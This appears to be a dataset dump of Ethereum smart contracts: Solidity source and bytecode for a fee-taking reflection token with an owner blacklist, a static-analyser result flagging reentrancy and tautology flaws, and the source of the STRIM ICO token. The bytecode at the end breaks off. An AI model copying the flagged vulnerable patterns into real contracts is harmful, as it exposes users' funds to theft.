_rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 1000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054e578063dd62ed3e1461056e578063ea1644d5146105b4578063f2fde38b146105d457600080fd5b8063a2a957bb146104c9578063a9059cbb146104e9578063bfd7928414610509578063c3c8cd801461053957600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b411461047d57806398a5c315146104a957600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611adb565b6105f4565b005b34801561020a57600080fd5b5060408051808201909152600581526441544f4e4560d81b60208201525b6040516102359190611ba0565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611bf5565b610693565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b5066470de4df8200005b604051908152602001610235565b3480156102d657600080fd5b5061025e6102e5366004611c21565b6106aa565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610235565b34801561032857600080fd5b5060155461028e906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611c62565b610713565b34801561036857600080fd5b506101fc610377366004611c8f565b61075e565b34801561038857600080fd5b506101fc6107a6565b34801561039d57600080fd5b506102bc6103ac366004611c62565b6107f1565b3480156103bd57600080fd5b506101fc610813565b3480156103d257600080fd5b506101fc6103e1366004611caa565b610887565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611c62565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028e565b34801561045357600080fd5b506101fc610462366004611c8f565b6108c3565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b5060408051808201909152600381526241544f60e81b6020820152610228565b3480156104b557600080fd5b506101fc6104c4366004611caa565b61090b565b3480156104d557600080fd5b506101fc6104e4366004611cc3565b61093a565b3480156104f557600080fd5b5061025e610504366004611bf5565b610af0565b34801561051557600080fd5b5061025e610524366004611c62565b60106020526000908152604090205460ff1681565b34801561054557600080fd5b506101fc610afd565b34801561055a57600080fd5b506101fc610569366004611cf5565b610b51565b34801561057a57600080fd5b506102bc610589366004611d79565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c057600080fd5b506101fc6105cf366004611caa565b610bf2565b3480156105e057600080fd5b506101fc6105ef366004611c62565b610c21565b6000546001600160a01b031633146106275760405162461bcd60e51b815260040161061e90611db2565b60405180910390fd5b60005b815181101561068f5760016010600084848151811061064b5761064b611de7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068781611e13565b91505061062a565b5050565b60006106a0338484610d0b565b5060015b92915050565b60006106b7848484610e2f565b610709843361070485604051806060016040528060288152602001611f2d602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061136b565b610d0b565b5060019392505050565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161061e90611db2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161061e90611db2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107db57506013546001600160a01b0316336001600160a01b0316145b6107e457600080fd5b476107ee816113a5565b50565b6001600160a01b0381166000908152600260205260408120546106a4906113df565b6000546001600160a01b0316331461083d5760405162461bcd60e51b815260040161061e90611db2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161061e90611db2565b64e8d4a510008111156107ee57601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161061e90611db2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161061e90611db2565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161061e90611db2565b60048411156109c35760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161061e565b6014821115610a1f5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161061e565b6004831115610a7f5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161061e565b6014811115610adc5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161061e565b600893909355600a91909155600955600b55565b60006106a0338484610e2f565b6012546001600160a01b0316336001600160a01b03161480610b3257506013546001600160a01b0316336001600160a01b0316145b610b3b57600080fd5b6000610b46306107f1565b90506107ee81611463565b6000546001600160a01b03163314610b7b5760405162461bcd60e51b815260040161061e90611db2565b60005b82811015610bec578160056000868685818110610b9d57610b9d611de7565b9050602002016020810190610bb29190611c62565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be481611e13565b915050610b7e565b50505050565b6000546001600160a01b03163314610c1c5760405162461bcd60e51b815260040161061e90611db2565b601755565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b815260040161061e90611db2565b6001600160a01b038116610cb05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061e565b6001600160a01b038216610dce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061e565b6001600160a01b038216610ef55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061e565b60008111610f575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061e565b6000546001600160a01b03848116911614801590610f8357506000546001600160a01b03838116911614155b1561126457601554600160a01b900460ff1661101c576000546001600160a01b0384811691161461101c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061e565b60165481111561106e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061e565b6001600160a01b03831660009081526010602052604090205460ff161580156110b057506001600160a01b03821660009081526010602052604090205460ff16155b6111085760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061e565b6015546001600160a01b0383811691161461118d576017548161112a846107f1565b6111349190611e2e565b1061118d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061e565b6000611198306107f1565b6018546016549192508210159082106111b15760165491505b8080156111c85750601554600160a81b900460ff16155b80156111e257506015546001600160a01b03868116911614155b80156111f75750601554600160b01b900460ff165b801561121c57506001600160a01b03851660009081526005602052604090205460ff16155b801561124157506001600160a01b03841660009081526005602052604090205460ff16155b156112615761124f82611463565b47801561125f5761125f476113a5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112a657506001600160a01b03831660009081526005602052604090205460ff165b806112d857506015546001600160a01b038581169116148015906112d857506015546001600160a01b03848116911614155b156112e55750600061135f565b6015546001600160a01b03858116911614801561131057506014546001600160a01b03848116911614155b1561132257600854600c55600954600d555b6015546001600160a01b03848116911614801561134d57506014546001600160a01b03858116911614155b1561135f57600a54600c55600b54600d555b610bec848484846115ec565b6000818484111561138f5760405162461bcd60e51b815260040161061e9190611ba0565b50600061139c8486611e46565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068f573d6000803e3d6000fd5b60006006548211156114465760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061e565b600061145061161a565b905061145c838261163d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ab576114ab611de7565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114ff57600080fd5b505afa158015611513573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115379190611e5d565b8160018151811061154a5761154a611de7565b6001600160a01b0392831660209182029290920101526014546115709130911684610d0b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a9908590600090869030904290600401611e7a565b600060405180830381600087803b1580156115c357600080fd5b505af11580156115d7573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115f9576115f961167f565b6116048484846116ad565b80610bec57610bec600e54600c55600f54600d55565b60008060006116276117a4565b9092509050611636828261163d565b9250505090565b600061145c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e2565b600c5415801561168f5750600d54155b1561169657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116bf87611810565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116f1908761186d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172090866118af565b6001600160a01b0389166000908152600260205260409020556117428161190e565b61174c8483611958565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179191815260200190565b60405180910390a3505050505050505050565b600654600090819066470de4df8200006117be828261163d565b8210156117d95750506006549266470de4df82000092509050565b90939092509050565b600081836118035760405162461bcd60e51b815260040161061e9190611ba0565b50600061139c8486611eeb565b600080600080600080600080600061182d8a600c54600d5461197c565b925092509250600061183d61161a565b905060008060006118508e8787876119d1565b919e509c509a509598509396509194505050505091939550919395565b600061145c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061136b565b6000806118bc8385611e2e565b90508381101561145c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061e565b600061191861161a565b905060006119268383611a21565b3060009081526002602052604090205490915061194390826118af565b30600090815260026020526040902055505050565b600654611965908361186d565b60065560075461197590826118af565b6007555050565b600080808061199660646119908989611a21565b9061163d565b905060006119a960646119908a89611a21565b905060006119c1826119bb8b8661186d565b9061186d565b9992985090965090945050505050565b60008080806119e08886611a21565b905060006119ee8887611a21565b905060006119fc8888611a21565b90506000611a0e826119bb868661186d565b939b939a50919850919650505050505050565b600082611a30575060006106a4565b6000611a3c8385611f0d565b905082611a498583611eeb565b1461145c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ee57600080fd5b8035611ad681611ab6565b919050565b60006020808385031215611aee57600080fd5b823567ffffffffffffffff80821115611b0657600080fd5b818501915085601f830112611b1a57600080fd5b813581811115611b2c57611b2c611aa0565b8060051b604051601f19603f83011681018181108582111715611b5157611b51611aa0565b604052918252848201925083810185019188831115611b6f57600080fd5b938501935b82851015611b9457611b8585611acb565b84529385019392850192611b74565b98975050505050505050565b600060208083528351808285015260005b81811015611bcd57858101830151858201604001528201611bb1565b81811115611bdf576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0857600080fd5b8235611c1381611ab6565b946020939093013593505050565b600080600060608486031215611c3657600080fd5b8335611c4181611ab6565b92506020840135611c5181611ab6565b929592945050506040919091013590565b600060208284031215611c7457600080fd5b813561145c81611ab6565b80358015158114611ad657600080fd5b600060208284031215611ca157600080fd5b61145c82611c7f565b600060208284031215611cbc57600080fd5b5035919050565b60008060008060808587031215611cd957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0a57600080fd5b833567ffffffffffffffff80821115611d2257600080fd5b818601915086601f830112611d3657600080fd5b813581811115611d4557600080fd5b8760208260051b8501011115611d5a57600080fd5b602092830195509350611d709186019050611c7f565b90509250925092565b60008060408385031215611d8c57600080fd5b8235611d9781611ab6565b91506020830135611da781611ab6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2757611e27611dfd565b5060010190565b60008219821115611e4157611e41611dfd565b500190565b600082821015611e5857611e58611dfd565b500390565b600060208284031215611e6f57600080fd5b815161145c81611ab6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eca5784516001600160a01b031683529383019391830191600101611ea5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2757611f27611dfd565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220332e9e1eeebae9e7b8cf160187f552233b20fe6c14f31b16c25b6f62fc156cfe64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,246
0x4d33f3c3de7918c31517dec283d698bf4f17cd60
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ContractReceiver{ function tokenFallback(address _from, uint256 _value, bytes _data) external; } //Basic ERC23 token, backward compatible with ERC20 transfer function. //Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git contract ERC23BasicToken { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) balances; event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); function tokenFallback(address _from, uint256 _value, bytes _data) external { throw; } function transfer(address _to, uint256 _value, bytes _data) returns (bool success) { //Standard ERC23 transfer function if(isContract(_to)) { transferToContract(_to, _value, _data); } else { transferToAddress(_to, _value, _data); } return true; } function transfer(address _to, uint256 _value) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { transferToContract(_to, _value, empty); } else { transferToAddress(_to, _value, empty); } } function transferToAddress(address _to, uint256 _value, bytes _data) internal { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); } function transferToContract(address _to, uint256 _value, bytes _data) internal { balances[msg.sender] = balances[msg.sender].sub( _value); balances[_to] = balances[_to].add( _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) returns (bool is_contract) { uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; } else { return false; } } } // Standard ERC23 token, backward compatible with ERC20 standards. // Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git contract ERC23StandardToken is ERC23BasicToken { mapping (address => mapping (address => uint256)) allowed; event Approval (address indexed owner, address indexed spender, uint256 value); function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } // Based in part on code by Open-Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git // Based in part on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol contract STRIMToken is ERC23StandardToken { // metadata string public constant name = "STRIM Token"; string public constant symbol = "STR"; uint256 public constant decimals = 18; uint256 public fundsFromPreSale; string public version = "0.4"; bool public halted; //Halt crowdsale in emergency bool public isFinalized; // switched to true in operational state mapping(address => uint256) exchangeRate; uint256 public fundingStartBlock; uint256 public fundingEndBlock; uint256 public constant tokenExchangeRatePreSale = 10000; // 10000 STR tokens for 1 eth at the presale uint256 public constant tokenExchangeRateMile1 = 3000; // 3000 STR tokens for the 1 eth at first phase uint256 public constant tokenExchangeRateMile2 = 2000; // 2000 STR tokens for the 1 eth at second phase uint256 public constant tokenExchangeRateMile3 = 1000; // 1000 STR tokens for the 1 eth at third phase uint256 public constant tokenCreationMinMile1 = 10 * (10 ** 6) * 10 ** decimals; //minimum ammount of tokens to be created for the ICO to be succesfull uint256 public constant tokenCreationMinMile2 = 78 * (10 ** 6) * 10 ** decimals; //tokens to be created for the ICO for the second milestone uint256 public constant tokenCreationMaxCap = 168 * (10 ** 6) * 10 ** decimals; //max tokens to be created // contracts address public ethFundDeposit; // deposit address for ETH for Strim Team address public strFundDeposit; // deposit address for Strim Team use and STR User Fund address public StrimTeam; //contract owner // events event LogRefund(address indexed _to, uint256 _value); event CreateSTR(address indexed _to, uint256 _value); event Halt(); //Halt event event Unhalt(); //Unhalt event modifier onlyTeam() { //only do if call is from owner modifier require(msg.sender == StrimTeam); _; } modifier crowdsaleTransferLock() { require(isFinalized); _; } modifier whenNotHalted() { // only do when not halted modifier require(!halted); _; } // constructor function STRIMToken( address _ethFundDeposit, address _strFundDeposit, uint256 _fundingStartBlock, uint256 _fundingEndBlock) { isFinalized = false; //controls pre through crowdsale state halted = false; ethFundDeposit = _ethFundDeposit; strFundDeposit = _strFundDeposit; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; totalSupply = 0; StrimTeam = msg.sender; fundsFromPreSale = 0; } //Fallback function when receiving Ether. function() payable { buy(); } //Halt ICO in case of emergency. function halt() onlyTeam { halted = true; Halt(); } function unhalt() onlyTeam { halted = false; Unhalt(); } function buy() payable { createTokens(msg.sender); } //mint Tokens. Accepts ether and creates new STR tokens. function createTokens(address recipient) public payable whenNotHalted { require(!isFinalized); require(block.number >= fundingStartBlock); require(block.number <= fundingEndBlock); require (totalSupply < tokenCreationMaxCap); require(msg.value > 0); uint256 retRate = returnRate(); uint256 tokens = msg.value.mul(retRate); //decimals=18, so no need to adjust for unit if (retRate == 10000) { fundsFromPreSale = fundsFromPreSale.add(tokens); exchangeRate[recipient]=0;//presale ether is non refundable as it will be used for marketing during the ICO period } else { exchangeRate[recipient]=retRate; } balances[recipient] = balances[recipient].add(tokens);//map tokens to the reciepient address totalSupply = totalSupply.add(tokens); CreateSTR(msg.sender, tokens); // logs token creation Transfer(this, recipient, tokens); } //Return rate of token against ether. function returnRate() public constant returns(uint256) { if (block.number < fundingStartBlock.add(5000)) { return tokenExchangeRatePreSale; } else if (totalSupply.sub(fundsFromPreSale) < tokenCreationMinMile1) { return tokenExchangeRateMile1; } else if (totalSupply.sub(fundsFromPreSale) < tokenCreationMinMile2) { return tokenExchangeRateMile2; } else { return tokenExchangeRateMile3; } } function finalize() external onlyTeam{ require(!isFinalized);//check if already ran require(totalSupply >= tokenCreationMinMile1); // have to sell minimum to move to operational require(block.number > fundingEndBlock || totalSupply >= tokenCreationMaxCap);//don&#39;t end before ico period ends or max cap reached uint256 strVal = totalSupply.div(2); balances[strFundDeposit] = strVal; // deposit Strim share CreateSTR(msg.sender, strVal); // logs token creation // move to operational if (!ethFundDeposit.send(this.balance)) revert(); // send the eth to Strim Team if (!strFundDeposit.send(this.balance)) revert(); // send the str to Strim Team isFinalized = true; } function sendPreSaleETH() external onlyTeam{ require(block.number > fundingStartBlock.add(5000)); //check if the presale passed the 2 day limit require(fundsFromPreSale > 0); //make sure that there are funds to transfer uint256 ethFromPreSale = fundsFromPreSale.div(10000); //convert from tokens to ether fundsFromPreSale = 0; //revert to initial state so it can&#39;t be reused if (!ethFundDeposit.send(ethFromPreSale)) revert(); // send the eth raised for the pre sale to Strim Team } // Allows contributors to recover their ether in the case of a failed funding campaign. function refund() external { require(!isFinalized); // prevents refund if operational require(block.number > fundingEndBlock); // prevents refund until sale period is over require(totalSupply < tokenCreationMinMile1); // no refunds if we sold enough require(msg.sender != strFundDeposit); // Strim not entitled to a refund if (exchangeRate[msg.sender] > 0) { //presale ether is non refundable as it will be used for marketing during the ICO period uint256 strVal = balances[msg.sender]; balances[msg.sender] = 0; //if refunded delete the users tokens totalSupply = totalSupply.sub(strVal); // extra safe uint256 ethVal = strVal / exchangeRate[msg.sender]; // should be safe; considering it never reached the first milestone; LogRefund(msg.sender, ethVal); // log it if (!msg.sender.send(ethVal)) revert(); // if you&#39;re using a contract; make sure it works with .send gas limits } } function transfer(address _to, uint256 _value, bytes _data) public crowdsaleTransferLock returns(bool success) { return super.transfer(_to, _value, _data); } function transfer(address _to, uint256 _value) public crowdsaleTransferLock { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public crowdsaleTransferLock { super.transferFrom(_from, _to, _value); } }
0x606060405236156101bf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101c9578063095ea7b3146102535780630cc6373f14610275578063162790551461029a57806318160ddd146102cd5780631a9f66c4146102e057806323b872dd1461030f578063313ce56714610337578063344284401461034a5780634bb278f31461035d57806354fd4d5014610370578063590e1ae3146103835780635ed7ca5b1461039657806370a08231146103a95780637a041e7e146103c85780637c2ffbb3146103db57806386d53469146103ee5780638b40594d146104015780638d4e40831461041457806391b43d131461042757806395d89b411461043a578063a6f2ae3a146101bf578063a81c3bdf1461044d578063a9059cbb14610460578063b9b8af0b14610482578063be45fd6214610495578063c0abf829146104fa578063c0ee0b8a1461050d578063c7423f261461053c578063cb3e64fd1461054f578063cd86eee214610562578063cedbbeee14610575578063d648a64714610589578063d67d0bb91461059c578063dd62ed3e146105af578063e5fb08c0146105d4575b6101c76105e7565b005b34156101d457600080fd5b6101dc6105f2565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610218578082015183820152602001610200565b50505050905090810190601f1680156102455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025e57600080fd5b6101c7600160a060020a0360043516602435610629565b341561028057600080fd5b6102886106ca565b60405190815260200160405180910390f35b34156102a557600080fd5b6102b9600160a060020a03600435166106d0565b604051901515815260200160405180910390f35b34156102d857600080fd5b6102886106f0565b34156102eb57600080fd5b6102f36106f6565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b6101c7600160a060020a0360043581169060243516604435610705565b341561034257600080fd5b61028861072b565b341561035557600080fd5b610288610730565b341561036857600080fd5b6101c7610736565b341561037b57600080fd5b6101dc61089f565b341561038e57600080fd5b6101c761093d565b34156103a157600080fd5b6101c7610a87565b34156103b457600080fd5b610288600160a060020a0360043516610add565b34156103d357600080fd5b610288610af8565b34156103e657600080fd5b610288610afe565b34156103f957600080fd5b6101c7610b92565b341561040c57600080fd5b610288610c33565b341561041f57600080fd5b6102b9610c39565b341561043257600080fd5b610288610c47565b341561044557600080fd5b6101dc610c4d565b341561045857600080fd5b6102f3610c84565b341561046b57600080fd5b6101c7600160a060020a0360043516602435610c93565b341561048d57600080fd5b6102b9610cb3565b34156104a057600080fd5b6102b960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610cbc95505050505050565b341561050557600080fd5b610288610ce8565b341561051857600080fd5b6101c760048035600160a060020a0316906024803591604435918201910135610cf7565b341561054757600080fd5b6102f3610cfc565b341561055a57600080fd5b6101c7610d0b565b341561056d57600080fd5b610288610d5e565b6101c7600160a060020a0360043516610d6d565b341561059457600080fd5b610288610f22565b34156105a757600080fd5b610288610f28565b34156105ba57600080fd5b610288600160a060020a0360043581169060243516610f37565b34156105df57600080fd5b610288610f62565b6105f033610d6d565b565b60408051908101604052600b81527f535452494d20546f6b656e000000000000000000000000000000000000000000602082015281565b801580159061065c5750600160a060020a0333811660009081526002602090815260408083209386168352929052205415155b1561066657600080fd5b600160a060020a03338116600081815260026020908152604080832094871680845294909152908190208490557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b6103e881565b6000813b818111156106e557600191506106ea565b600091505b50919050565b60005481565b600b54600160a060020a031681565b600554610100900460ff16151561071b57600080fd5b610726838383610f68565b505050565b601281565b610bb881565b600b5460009033600160a060020a0390811691161461075457600080fd5b600554610100900460ff161561076957600080fd5b6000546a084595161401484a00000090101561078457600080fd5b6008544311806107a257506000546a8af7623fb67bf1a80000009010155b15156107ad